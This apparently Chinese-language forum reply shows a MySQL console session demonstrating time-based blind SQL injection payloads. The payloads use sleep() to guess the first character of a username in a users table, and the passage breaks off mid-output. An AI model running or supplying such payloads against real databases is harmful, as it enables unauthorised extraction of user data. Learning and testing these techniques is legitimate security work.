JKding123: 语句应该是这样 [code=sql] mysql> select 1 and if(ascii(substr((select username from users limit 0,1),1,1))=97,sleep(5),1); +-----------------------------------------------------------------------------------+ | 1 and if(ascii(substr((select username from users limit 0,1),1,1))=97,sleep(5),1) | +-----------------------------------------------------------------------------------+ | 1 | +-----------------------------------------------------------------------------------+ 1 row in set (0.00 sec) mysql> select 1 and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1); +-----------------------------------------------------------------------------------+ | 1 and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) | +-----------------------------------------------------------------------------------+ | [/code]
